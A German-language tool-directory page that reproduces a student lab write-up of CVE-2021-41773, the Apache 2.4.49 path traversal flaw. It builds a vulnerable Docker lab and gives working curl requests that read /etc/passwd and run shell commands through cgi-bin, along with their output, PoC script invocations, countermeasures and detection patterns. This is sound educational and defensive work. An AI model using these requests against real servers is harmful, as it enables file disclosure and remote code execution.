Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Apache-CVE-2021-41773 — WHS 4. Jahrgang 이희수. kr-vulhub-Aufgabenabgabe | Kitploit
Tools/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4. Jahrgang 이희수. kr-vulhub-Aufgabenabgabe

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-41773 Apache HTTP Server Path Traversal

Mitwirkende

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49 weist eine Schwachstelle auf, bei der im Rahmen der Normalisierung von URL-Pfaden codierte übergeordnete Pfade nicht ordnungsgemäß blockiert werden.

Ein Angreifer kann mithilfe von Werten wie .%2e aus dem Verzeichnis ausbrechen, das der Webserver zur Veröffentlichung freigegeben hat. In Umgebungen, in denen der Zugriff auf externe Verzeichnisse erlaubt ist, können interne Serverdateien offengelegt werden. Ist die CGI-Funktion aktiviert, kann eine System-Shell ausgeführt werden, was zu Remote-Codeausführung führen kann.

In diesem Projekt wurde mit Docker eine Apache-HTTP-Server-2.4.49-Umgebung aufgebaut und die folgenden beiden Punkte reproduziert:

  • Offenlegung der Datei /etc/passwd mittels Path Traversal
  • Remote-Codeausführung mittels CGI

Projektstruktur

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

Umgebungsaufbau

Docker-Image mit dem folgenden Befehl erstellen und Container ausführen:

root@kitploit:~
docker compose up -d --build

Containerstatus mit dem folgenden Befehl prüfen:

root@kitploit:~
docker ps

Anhand der Ausgabe wird bestätigt, dass der Container den Status Up hat und Port 8080 des Hosts mit Port 80 des Containers verbunden ist.


Überprüfung des normalen Webdienstes

Im Browser die folgende Adresse aufrufen:

root@kitploit:~
http://localhost:8080

Wird die Apache-Webseite normal angezeigt, ist der Aufbau der Umgebung abgeschlossen.


Überprüfung der Apache-Version

Apache-Version im Container mit dem folgenden Befehl prüfen:

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

Ausgabe:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

Es wird bestätigt, dass Apache HTTP Server 2.4.49 ausgeführt wird, der von CVE-2021-41773 betroffen ist.


Verwundbare Bedingungen

In dieser Übungsumgebung gelten die folgenden Bedingungen:

  • Verwendung von Apache HTTP Server 2.4.49
  • Verwendung von Alias- und ScriptAlias-Pfaden
  • Zugriff auf Verzeichnisse außerhalb des Web-Root-Verzeichnisses erlaubt
  • CGI-Funktion aktiviert
  • Apache-Prozess läuft mit dem Konto daemon

In der Apache-Konfiguration wird der Zugriff auf den Dateisystem-Rootpfad wie folgt erlaubt:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

Zusätzlich wurde für die CGI-Ausführung die folgende Konfiguration verwendet:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

Die folgende Anfrage greift mithilfe eines codierten übergeordneten Pfads auf die Datei /etc/passwd im Container zu:

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2e wird nach der URL-Decodierung als .. verarbeitet.

Der Angreifer kann also ausgehend vom Alias-Pfad mehrfach in übergeordnete Verzeichnisse wechseln und anschließend auf die Datei /etc/passwd zugreifen.

Ausgabe:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

In /etc/passwd werden Systemkontoinformationen wie Benutzername, UID, GID, Home-Verzeichnis und Login-Shell gespeichert.

Zwar sind keine echten Passwörter enthalten, dennoch wird eine Schwachstelle durch Informationsoffenlegung bestätigt, da eine interne Serverdatei, auf die normale externe Webnutzer keinen Zugriff haben sollten, allein durch eine HTTP-Anfrage offengelegt wurde.

In realen Produktionsumgebungen könnten auf dieselbe Weise die folgenden sensiblen Informationen offengelegt werden:

  • Anwendungskonfigurationsdateien
  • Datenbankzugangsdaten
  • API-Schlüssel und Authentifizierungsinformationen
  • Quellcode
  • Logdateien
  • Zertifikate und private Schlüssel

Befehlsausführung über CGI

Die folgende Anfrage greift mithilfe von Path Traversal auf /bin/sh zu und führt den Befehl whoami aus:

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Ausgabe:

root@kitploit:~
daemon

Da der Pfad /cgi-bin/ über ScriptAlias konfiguriert ist, liest Apache Dateien in diesem Pfad nicht einfach, sondern führt sie als CGI-Programme aus.

Wird nach dem Zugriff auf /bin/sh über Path Traversal ein im Anfragebody enthaltener Befehl übergeben, wird dieser mit den Rechten des Apache-Ausführungskontos ausgeführt.

In dieser Umgebung wird Apache mit dem folgenden Konto ausgeführt:

root@kitploit:~
User daemon
Group daemon

Daher wurde das Ergebnis der Befehlsausführung ebenfalls mit dem Konto daemon ausgegeben.

Auch wenn es sich nicht um root-Rechte handelt, können die folgenden zusätzlichen Bedrohungen auftreten:

  • Manipulation von Webanwendungsdateien
  • Diebstahl von Konfigurationsdateien und Anmeldedaten
  • Herunterladen und Ausführen schädlicher Dateien
  • Erkundung des internen Netzwerks
  • Rechteausweitung mithilfe weiterer Schwachstellen

Ausführung des PoC-Skripts

Statt einzelner Befehle können mit dem PoC-Skript der normale Dienst, Path Traversal und Remote-Codeausführung in einem Schritt überprüft werden.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

Das Skript prüft nacheinander die folgenden Punkte:

root@kitploit:~
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행


Gegenmaßnahmen

Apache-Version aktualisieren

Apache HTTP Server 2.4.49 sollte nicht verwendet werden; es muss eine Aktualisierung auf die neueste Version mit angewendeten Sicherheitspatches erfolgen.

Zugriff auf das Root-Verzeichnis blockieren

In Produktionsumgebungen sollte der Dateisystem-Rootpfad standardmäßig blockiert werden:

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

Nur die benötigten Webverzeichnisse werden separat freigegeben:

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

Deaktivierung unnötiger CGI-Funktionen

Wenn die CGI-Funktion nicht benötigt wird, sind die folgenden Funktionen zu deaktivieren:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

Anwendung des Prinzips der geringsten Rechte

Der Apache-Prozess sollte mit einem eingeschränkten Dienstkonto und nicht als root ausgeführt werden; die für dieses Konto zugänglichen Dateien und Verzeichnisse sind zu minimieren.

Log-Überwachung

Anfragen, die ungewöhnliche Pfade wie die folgenden enthalten, sollten erkannt und blockiert werden:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

Beenden der Umgebung

root@kitploit:~
docker compose down

Fazit

In dieser Übung wurde Apache HTTP Server 2.4.49 mithilfe eines Dockerfiles erstellt und über Docker Compose eine reproduzierbare verwundbare Umgebung eingerichtet.

Es wurde bestätigt, dass durch eine Path-Traversal-Anfrage die Datei /etc/passwd im Container offengelegt wird, auf die normale Webnutzer keinen Zugriff haben dürften.

Darüber hinaus wurde bestätigt, dass in einer Umgebung mit aktiviertem CGI über den Zugriff auf /bin/sh Systembefehle mit den Rechten des Apache-Ausführungskontos daemon ausgeführt werden können.

Dadurch wird deutlich, dass CVE-2021-41773 nicht nur eine einfache Pfadoffenlegung darstellt, sondern je nach Umgebungskonfiguration zu Remote-Codeausführung führen kann.


Referenzen

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
Tool herunterladen